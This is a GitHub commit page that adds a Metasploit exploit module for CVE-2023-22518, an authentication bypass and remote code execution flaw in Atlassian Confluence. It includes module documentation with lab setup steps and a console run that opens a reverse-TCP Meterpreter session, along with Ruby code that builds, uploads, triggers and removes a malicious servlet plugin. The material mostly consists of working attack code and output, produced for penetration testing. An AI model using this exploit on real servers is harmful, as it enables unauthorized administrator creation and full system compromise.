Skip to content

Commit

Permalink
Land #18566, CVE-2023-22518: Confluence Auth Bypass Restore From Back…
Browse files Browse the repository at this point in the history
…up RCE
  • Loading branch information
cdelafuente-r7 committed Dec 18, 2023
2 parents c2fe6d6 + 5d5ccd2 commit 45d2c7f
Show file tree
Hide file tree
Showing 6 changed files with 5,120 additions and 0 deletions.
4,685 changes: 4,685 additions & 0 deletions data/exploits/CVE-2023-22518/entities.xml

Large diffs are not rendered by default.

14 changes: 14 additions & 0 deletions data/exploits/CVE-2023-22518/exportDescriptor.properties
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
#Thu Nov 09 06:05:19 UTC 2023
ao.data.version.min.com.atlassian.mywork.mywork-confluence-host-plugin=1.1.30
ao.data.version.com.atlassian.mywork.mywork-confluence-host-plugin=8.3.8
createdByVersionNumber=7.19.12
supportEntitlementNumber=SEN-L1699509489567
source=server
buildNumber=8506
ao.data.list=com.atlassian.mywork.mywork-confluence-host-plugin, com.atlassian.confluence.plugins.confluence-space-ia
ao.data.version.min.com.atlassian.confluence.plugins.confluence-space-ia=5.0
defaultUsersGroup=confluence-users
ao.data.version.com.atlassian.confluence.plugins.confluence-space-ia=17.19.9
exportType=all
createdByBuildNumber=8804
backupAttachments=true
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
## Vulnerable Application

This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a
Confluence instance administrator account. Using this account, an attacker can then perform all
administrative actions that are available to Confluence instance administrator. This module uses the
administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code
execution on the target in the context of the of the user running the confluence server.

### Setup
Download and install a [vulnerable version of Atlassian Confluence](https://www.atlassian.com/software/confluence/download.).
By default the server will listen for HTTP connections on port 8090. This exploit module was tested against Confluence
8.5.1 running on Windows Server 2022.

After running the installer the setup wizard will ask for a trial license. An Atlassian account is free and required
to obtain the trial licence. A database and a will also be required to run Confluence. Download and install
[PostgreSQL](https://www.enterprisedb.com/downloads/postgres-postgresql-downloads). The setup Wizard will ask for DB
credentials, the default PostgreSQL database can be used.

## Verification Steps

1. Start msfconsole
1. Do: `use atlassian_confluence_unauth_backup`
1. Set the `RHOST`
1. Run the module
1. Receive a Meterpreter session in the context of the user running the Confluence application.

## Options

### CONFLUENCE_TARGET_ENDPOINT

This is the endpoint used to trigger the vulnerability, and must be reachable by an un authenticated HTTP(S) POST
request. The three vulnerable endpoints outlined by Atlassian in the advisory for this vulnerability are as follows:
- /json/setup-restore.action
- /json/setup-restore-local.action
- /json/setup-restore-progress.action'

### CONFLUENCE_PLUGIN_TIMEOUT

The exploit will install a malicious plugin into the Confluence server. Plugin installation is performed asynchronously
and we must poll the server to find out when installation has completed. This option governs the maximum amount
of time to wait for installation to complete. The timeout value is in seconds and by default this option is set to `30`.

## Scenarios
### Windows Server 2022 running Atlassian Confluence 8.5.1
```
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set rhost 172.16.199.134
rhost => 172.16.199.134
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set verbose true
verbose => true
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > options
Module options (exploit/multi/http/atlassian_confluence_unauth_backup):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFLUENCE_PLUGIN_TIMEOUT 30 yes The timeout (in seconds) to wait when installing a plugin
CONFLUENCE_TARGET_ENDPOINT /json/setup-restore.action yes The endpoint used to trigger the vulnerability. (Accepted: /json/setup-restore.action, /json/setup-restore-local.action, /json/setup-restore-progress.action)
NEW_PASSWORD LELTtnOG yes Password to be used when creating a new user with admin privileges
NEW_USERNAME candace.leffler yes Username to be used when creating a new user with admin privileges
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.199.134 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable version of Confluence: 8.5.1
[*] Setting credentials: candace.leffler:LELTtnOG
[+] Exploit Success! Login Using 'candace.leffler :: LELTtnOG'
[*] Generating payload plugin
[*] Uploading payload plugin
[*] Triggering payload plugin
[*] Deleting plugin...
[*] Sending stage (57692 bytes) to 172.16.199.134
[*] Meterpreter session 6 opened (172.16.199.1:4444 -> 172.16.199.134:50095) at 2023-12-11 18:52:33 -0500
meterpreter > getuid
Server username: WIN-2EEL7BRDUD8$
meterpreter > sysinfo
Computer : WIN-2EEL7BRDUD8
OS : Windows Server 2022 10.0 (amd64)
Architecture : x64
System Language : en_US
Meterpreter : java/windows
meterpreter >
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,141 @@
module Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin

include Msf::Exploit::Retry
def get_upm_token(admin_username, admin_password)
# https://github.com/atlassian-api/atlassian-python-api/blob/master/atlassian/jira.py#L3356-L3361
res = send_request_cgi({
'method' => 'HEAD',
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'),
'headers' => {
'X-Atlassian-Token' => 'no-check',
'Authorization' => basic_auth(admin_username, admin_password),
'Accept' => '*/*'
}
})
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the UPM token using the rest API') unless res&.code == 200 && res&.headers&.[]('upm-token')

res.headers['upm-token']
end

def generate_payload_plugin(plugin_key, payload_endpoint)
vprint_status('Generating payload plugin')
webshell_jar = payload.encoded_jar(random: true)

webshell_jar.add_file(
'atlassian-plugin.xml',
%(
<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">
<plugin-info>
<description>#{rand_text_alphanumeric(8)}</description>
<version>#{rand(1024)}.#{rand(1024)}</version>
</plugin-info>
<servlet key="#{rand_text_alpha(8)}" class="#{webshell_jar.substitutions['metasploit']}.PayloadServlet">
<url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>
</servlet>
</atlassian-plugin>)
)

webshell_jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))
return webshell_jar.pack
end

def upload_payload_plugin(webshell_jar, admin_username, admin_password)
vprint_status('Uploading payload plugin')
post_data = Rex::MIME::Message.new
post_data.add_part(webshell_jar, 'application/java-archive', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8..16)}.jar\"")
post_data.add_part('', nil, nil, 'form-data; name="url"')

data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password),
'Accept' => '*/*'
},
'vars_get' => {
'token' => get_upm_token(admin_username, admin_password)
}
})

unless res&.code == 202
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')
end

unless res.body =~ %r{<textarea>(.+)</textarea>}
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')
end

begin
plugin_json = JSON.parse(::Regexp.last_match(1))
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')
end

# We receive a JSON object like this:
# <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>

links_alternate = plugin_json&.dig('links', 'alternate')
if links_alternate.nil?
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')
end

# The plugin is installed asynchronously, so we poll the server for installation to be completed.
plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, links_alternate)
)

# We receive a JSON result to indicate if the plugin is finished installing.
# {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}

if res&.code == 200
begin
res_json = JSON.parse(res.body)
next res_json['done']
rescue JSON::ParserError
next false
end
end

false
end

unless plugin_ready
fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')
end

end

def trigger_payload_plugin(payload_endpoint)
vprint_status('Triggering payload plugin')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)
)

unless res&.code == 200
fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
end
end

def delete_payload_plugin(plugin_key, payload_endpoint, admin_username, admin_password)
vprint_status('Deleting plugin...')

res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password),
'Connection' => 'close'
}
)

unless res&.code == 204
print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
end
end
end
16 changes: 16 additions & 0 deletions lib/msf/core/exploit/remote/http/atlassian/confluence/version.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
# -*- coding: binary -*-

module Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
def get_confluence_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.action')
)
return nil unless res&.code == 200

poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
return nil unless poweredby =~ /Confluence (\d+(\.\d+)*)/

Rex::Version.new(Regexp.last_match(1))
end
end

0 comments on commit 45d2c7f

Please sign in to comment.